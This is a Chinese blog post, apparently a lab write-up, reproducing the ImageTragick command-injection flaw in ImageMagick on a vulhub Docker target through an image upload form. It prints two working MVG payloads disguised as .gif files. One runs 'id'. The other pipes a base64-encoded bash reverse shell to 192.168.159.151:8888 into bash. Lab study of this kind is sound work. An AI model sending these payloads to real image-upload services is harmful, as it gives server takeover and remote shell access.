目录
最近在看乌云的文章时发现有一个自己没有接触过的漏洞类型,虽然时间有点久了,还是像复现学习一下的
搜索了一下同种类型的漏洞发现有7条记录,但是我觉得从我看过的文章中已经遇到了不止7条了,可能是搜索姿势不对吧
ImageMagick介绍
官网:ImageMagick – Mastering Digital Image Alchemy
官网是这样介绍的
使用ImageMagick的创建,编辑,撰写,或转换位图图像。它可以读取和写入各种格式(超过200种)的图像,包括PNG,JPEG,GIF,HEIC,TIFF,DPX,EXR,WebP,Postscript,PDF和SVG。使用ImageMagick可以调整图像大小,翻转,镜像,旋转,变形,剪切和变换图像,调整图像颜色,应用各种特殊效果或绘制文本,线条,多边形,椭圆和贝塞尔曲线。
ImageMagick是免费软件,可以即用型二进制分发形式提供,也可以作为源代码提供,您可以在开放应用程序和专有应用程序中使用,复制,修改和分发它们。它是在派生的Apache 2.0 许可下分发的。
ImageMagick利用多个计算线程来提高性能,并且可以读取,处理或写入兆,千兆或兆像素图像大小。
漏洞产生的原因
ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。
但有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。
国外的安全人员为此新建了一个网站:https://imagetragick.com/
ImageMagick 在处理恶意构造的图片文件时,对于文件中的 URL 未经严格过滤,可导致命令注入漏洞。通过命令注入漏洞,黑客可以在服务器上执行任意系统命令,获取服务器权限。
GraphicsMagick、ImageMagick 工具的所有版本都支持一种文件打开语法,当文件规范中的第一个字符是”|” 的时候,文件名其余部分会传递给 shell 的 popen () 函数去执行,相关的代码在 blob.c 文件中的 OpenBlob ()函数中。
环境搭建
这里还是使用phith0n大佬的vulhub靶场环境
移动到如下目录中
/opt/vulhub-master/imagemagick/imagetragick
使用docker-compose up -d拉取环境
环境拉取完成后,我们可以在浏览器中访问一下:
可以看到是一个文件上传页面,这就对了,我看文章中都是通过文件上传的方式进行的漏洞利用
漏洞特征
在 /etc/ImageMagick/delegates.xml文件中存在如下配置:
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>
命令执行
这里新建一个txt文件内容为:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context
保存为gif后缀格式
然后上传
可以看到文档中的id命令成功的执行了
反弹shell
同样的如果将paylaod修改为反弹shell的语句,然后再攻击机上进行监听,那么就可以反弹shell了
攻击机监听
对反弹shell语句进行加密:
paylad如下:
push graphic-context
viewbox 0 0 640 480
fill 'url(|`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU5LjE1MS84ODg4IDA+JjE= | base64 -d | bash`"||id " )'
pop graphic-context
可以看到成功的反弹shell了